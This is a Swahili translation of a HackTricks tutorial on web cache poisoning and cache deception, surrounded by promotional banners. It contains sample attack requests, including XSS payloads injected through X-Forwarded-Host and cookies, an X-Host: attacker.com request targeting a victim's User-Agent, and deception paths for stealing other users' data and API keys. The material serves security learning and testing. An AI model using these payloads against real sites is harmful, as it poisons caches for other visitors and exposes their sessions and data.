18 KiB
Kufyonza Cache na Udanganyifu wa Cache
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Tumia Trickest kujenga na kutumia mifumo ya kazi kwa urahisi ikiwa na zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Tofauti
Ni tofauti gani kati ya kufyonza cache ya wavuti na udanganyifu wa cache ya wavuti?
- Katika kufyonza cache ya wavuti, mkaidi husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
- Katika udanganyifu wa cache ya wavuti, mkaidi husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye cache, na mkaidi kisha anapata maudhui haya kutoka kwenye cache.
Kufyonza Cache
Kufyonza cache inalenga kubadilisha cache upande wa mteja ili kulazimisha wateja kupakia rasilimali ambazo si za kawaida, sehemu, au chini ya udhibiti wa mkaidi. Upeo wa athari unategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa hutolewa kwa watumiaji wanaotembelea ukurasa wakati wa kufyonza cache.
Utekelezaji wa shambulio la kufyonza cache unajumuisha hatua kadhaa:
- Ugunduzi wa Vipengele Visivyo na Kichawi: Hivi ni vipengele ambavyo, ingawa sio lazima kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalorudishwa na seva. Kutambua vipengele hivi ni muhimu kwani vinaweza kutumiwa kudanganya cache.
- Kutumia Vipengele Visivyo na Kichawi: Baada ya kutambua vipengele visivyo na kichawi, hatua inayofuata ni kugundua jinsi ya kutumia vipengele hivi kwa njia ambayo inanufaisha mkaidi kubadilisha jibu la seva.
- Kuhakikisha Jibu Lililofyonzwa linahifadhiwa kwenye Cache: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limewekwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati wa kufyonza cache atapokea jibu lililochafuliwa.
Ugunduzi: Angalia vichwa vya HTTP
Kawaida, wakati jibu limewekwa kwenye cache kutakuwa na kichwa kinachoonyesha hivyo, unaweza kuangalia vichwa vipi unapaswa kutilia maanani katika chapisho hili: Vichwa vya Cache vya HTTP.
Ugunduzi: Kufyonza msimbo wa 400
Ikiwa unadhani kwamba jibu linawekwa kwenye cache, unaweza kujaribu kutuma maombi na kichwa kibaya, ambacho kinapaswa kujibiwa na msimbo wa hali 400. Kisha jaribu kupata ombi kawaida na ikiwa jibu ni msimbo wa hali 400, unajua kuwa ni dhaifu (na hata unaweza kufanya DoS).
Kichwa kilichopangwa vibaya kinaweza kuwa tu \:
kama kichwa.
Tafadhali kumbuka kwamba mara nyingine msimbo wa hali kama hizi hauhifadhiwi kwa hivyo jaribio hili litakuwa la bure.
Ugunduzi: Kutambua na kutathmini vipengele visivyo na kichawi
Unaweza kutumia Param Miner kufanya nguvu ya kutumia vigezo na vichwa ambavyo vinaweza kubadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kutumia kichwa X-Forwarded-For
kuonyesha mteja kupakia skripti kutoka hapo:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Kusababisha majibu mabaya kutoka kwa seva ya nyuma
Baada ya kutambua parameter/header, angalia jinsi inavyo safishwa na eneo ambapo inaathiri majibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (kufanya XSS au kupakia msimbo wa JS unaodhibitiwa na wewe? kufanya DoS?...)
Pata jibu lililohifadhiwa
Baada ya kutambua ukurasa unao weza kutumiwa vibaya, ni parameter/header gani ya kutumia na jinsi ya kuitumia, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda fulani, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
Header X-Cache
katika majibu inaweza kuwa muhimu kwani inaweza kuwa na thamani miss
wakati ombi halijahifadhiwa na thamani hit
wakati inahifadhiwa.
Header Cache-Control
pia ni muhimu kujua ikiwa rasilimali inahifadhiwa na lini itahifadhiwa tena: Cache-Control: public, max-age=1800
Header nyingine muhimu ni Vary
. Header hii mara nyingi hutumiwa kuonyesha headers ziada ambazo huchukuliwa kama sehemu ya ufunguo wa cache hata kama kawaida hazina ufunguo. Kwa hivyo, ikiwa mtumiaji anajua User-Agent
wa muhanga anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia User-Agent
hiyo maalum.
Header nyingine inayohusiana na cache ni Age
. Inaainisha nyakati kwa sekunde ambazo kitu kimekuwa kwenye cache ya proksi.
Unapohifadhi ombi, kuwa mwangalifu na headers unazotumia kwa sababu baadhi yao zinaweza kutumika kwa njia isiyotarajiwa kama keyed na muhanga atahitaji kutumia header hiyo hiyo. Daima jaribu Cache Poisoning na vivinjari tofauti kuhakikisha kuwa inafanya kazi.
Mifano ya Kutumia Vibaya
Mfano Rahisi Zaidi
Header kama X-Forwarded-For
inaonyeshwa katika majibu bila kusafishwa.
Unaweza kutuma mzigo wa XSS wa msingi na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note kwamba hii itachafua ombi kwa /en?region=uk
sio kwa /en
Kutumia uchafuzi wa cache ya wavuti kufaidika na udhaifu wa kushughulikia vidakuzi
Vidakuzi pia vinaweza kurejelewa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kusababisha XSS kwa mfano, unaweza kufaidika na XSS katika wateja kadhaa wanaopakia jibu la cache lenye nia mbaya.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Kujaza cache na kufuatilia njia ili kuiba funguo ya API
Hii andika inaeleza jinsi ilivyowezekana kuiba funguo ya API ya OpenAI na URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
kwa sababu chochote kinacholingana na /share/*
kitahifadhiwa bila Cloudflare kawaida kurekebisha URL, ambayo ilifanywa wakati ombi lilipofikia seva ya wavuti.
Kutumia vichwa vingi kufaidika na udhaifu wa kujaza cache wa wavuti
Maranyingi utahitaji kufaidika na pembejeo zisizo na funguo kadhaa ili uweze kutumia cache. Kwa mfano, unaweza kupata urekebishaji wazi ikiwa unaweka X-Forwarded-Host
kwa kikoa kinachodhibitiwa na wewe na X-Forwarded-Scheme
kuwa http
. Ikiwa seva ina peleka maombi yote ya HTTP kwa HTTPS na kutumia kichwa X-Forwarded-Scheme
kama jina la kikoa kwa urekebishaji. Unaweza kudhibiti ukurasa unapoelekezwa na urekebishaji.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Kuchexploitisha kwa kichwa cha Vary
kilichopunguzwa
Ikiwa umegundua kwamba kichwa cha X-Host
kinatumika kama jina la kikoa kusoma rasilimali ya JS lakini kichwa cha Vary
katika jibu linabainisha User-Agent
. Kisha, unahitaji kupata njia ya kuchukua User-Agent wa mwathiriwa na kudhuru cache kwa kutumia user agent huo:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Kuchexploitisha Kuhifadhi ya Cache ya HTTP kwa Kudanganya Ufisadi wa Ombi la HTTP
Jifunze hapa kuhusu jinsi ya kutekeleza mashambulizi ya Kudanganya Kuhifadhi kwa kudanganya Ombi la HTTP.
Upimaji wa Kiotomatiki kwa Kudanganya Kuhifadhi ya Wavuti
Skana ya Udhaifu wa Kuhifadhi Wavuti inaweza kutumika kiotomatiki kupima kudanganya kwa kuhifadhi wavuti. Inasaidia njia nyingi tofauti na inaweza kubadilishwa kwa urahisi.
Matumizi ya mfano: wcvs -u mfano.com
Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Mifano ya Kudhaifu
Apache Traffic Server (CVE-2021-27577)
ATS ilipeleka kipande ndani ya URL bila kukiondoa na ikazalisha ufunguo wa hifadhi kwa kutumia tu mwenyeji, njia, na swali (ikipuuza kipande). Kwa hivyo ombi /#/../?r=javascript:alert(1)
lilipelekwa kwa nyuma kama /#/../?r=javascript:alert(1)
na ufunguo wa hifadhi haukuwa na mzigo ndani yake, tu mwenyeji, njia, na swali.
GitHub CP-DoS
Kutuma thamani mbaya katika kichwa cha aina ya yaliyomo kulizua jibu lililohifadhiwa la 405. Ufunguo wa hifadhi ulikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na idhini pekee.
GitLab + GCP CP-DoS
GitLab hutumia vikapu vya GCP kuhifadhi yaliyomo tuli. Vikapu vya GCP vinaiunga mkono kichwa x-http-method-override
. Kwa hivyo ilikuwa inawezekana kutuma kichwa x-http-method-override: HEAD
na kudanganya hifadhi kurudisha mwili wa jibu tupu. Pia inaweza kuunga mkono njia PURGE
.
Rack Middleware (Ruby on Rails)
Katika maombi ya Ruby on Rails, mara nyingi hutumiwa Rack middleware. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme
na kuweka kama mpango wa ombi. Wakati kichwa x-forwarded-scheme: http
kinatumwa, kuna 301 kuelekeza kwa eneo sawa, ikisababisha uwezekano wa Kukataa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, maombi yanaweza kutambua kichwa cha X-forwarded-host
na kupeleka watumiaji kwa mwenyeji ulioelekezwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ikileta hatari ya usalama.
403 na Vikapu vya Kuhifadhi
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kupata ufikiaji wa S3 au Blobs za Uhifadhi wa Azure na vichwa vya Uthibitisho visivyo sahihi kungesababisha jibu la 403 lililohifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za wakala.
Kuingiza Parameta za Kufungwa
Marashi mara nyingi hujumuisha parameta maalum za GET katika ufunguo wa hifadhi. Kwa mfano, Varnish ya Fastly ilihifadhi parameta ya size
katika maombi. Walakini, ikiwa toleo lililoandikwa kwa URL la parameta (k.m., siz%65
) pia lilipelekwa na thamani isiyo sahihi, ufunguo wa hifadhi ungejengwa kwa kutumia parameta sahihi ya size
. Walakini, seva ya nyuma ingeprocess thamani katika parameta iliyoorodheshwa kwa URL. URL-encoding ya parameta ya pili ya size
ilisababisha kutotumika kwake na hifadhi lakini matumizi yake na seva ya nyuma. Kutoa thamani ya 0 kwa parameta hii kulileta kosa la ombi la 400 linaloweza kuhifadhiwa.
Sheria za Wateja wa Mtumiaji
Baadhi ya watengenezaji wanazuia maombi na wateja wa mtumiaji wanaofanana na zana za trafiki kubwa kama FFUF au Nuclei kusimamia mzigo wa seva. Kwa kujifanya, njia hii inaweza kuleta mapungufu kama vile kudanganya kwa hifadhi na DoS.
Uga wa Kichwa Usio Halali
RFC7230 inabainisha wahusika halali katika majina ya vichwa. Vichwa vinavyo wahusika nje ya safu iliyowekwa ya tchar inapaswa kimsingi kuzua jibu la 400 Bad Request. Kwa vitendo, seva mara nyingi hazifuati viwango hivi. Mfano muhimu ni Akamai, ambayo inapeleka vichwa na wahusika wasio halali na kuhifadhi kosa lolote la 400, ikiwa tu kichwa cha cache-control
hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa na wahusika wasio halali, kama vile \
, kungesababisha kosa la ombi la 400 linaloweza kuhifadhiwa.
Kupata vichwa vipya
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Uduaji wa Kuhifadhi
Lengo la Uduaji wa Kuhifadhi ni kufanya wateja pakie rasilimali ambazo zitahifadhiwa na hifadhi pamoja na habari zao nyeti.
Kwanza kabisa, elewa kwamba nyongeza kama vile .css
, .js
, .png
nk kawaida imepangwa kuwa hifadhiwa katika hifadhi. Kwa hivyo, ikiwa unafikia www.mfano.com/profile.php/nonexistent.js
hifadhi labda itahifadhi jibu kwa sababu inaona nyongeza ya .js
. Lakini, ikiwa programu inarudia na maudhui nyeti ya mtumiaji yaliyohifadhiwa katika www.mfano.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watumiaji wengine.
Vitu vingine vya kupima:
- www.mfano.com/profile.php/.js
- www.mfano.com/profile.php/.css
- www.mfano.com/profile.php/test.js
- www.mfano.com/profile.php/../test.js
- www.mfano.com/profile.php/%2e%2e/test.js
- Tumia nyongeza zisizojulikana kama
.avif
Mfano mwingine wazi unaweza kupatikana katika andiko hili: https://hackerone.com/reports/593712.
Katika mfano huo, inaelezwa kwamba ikiwa unapakia ukurasa usio na maudhui kama http://www.mfano.com/home.php/non-existent.css maudhui ya http://www.mfano.com/home.php (na habari nyeti za mtumiaji) yatarejeshwa na seva ya hifadhi itahifadhi matokeo.
Kisha, mshambuliaji anaweza kupata http://www.mfano.com/home.php/non-existent.css kwenye kivinjari chao na kuchunguza habari za siri za watumiaji waliopata kabla.
Tambua kwamba proxxy ya hifadhi inapaswa kuwa imepangwa kuhifadhi faili kulingana na nyongeza ya faili (.css) na sio kulingana na aina ya yaliyomo. Katika mfano http://www.mfano.com/home.php/non-existent.css itakuwa na aina ya yaliyomo ya text/html
badala ya aina ya mime ya text/css
(ambayo inatarajiwa kwa faili ya .css).
Jifunze hapa kuhusu jinsi ya kutekeleza mashambulizi ya Uduaji wa Kuhifadhi kwa kudanganya Ombi la HTTP.
Marejeo
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.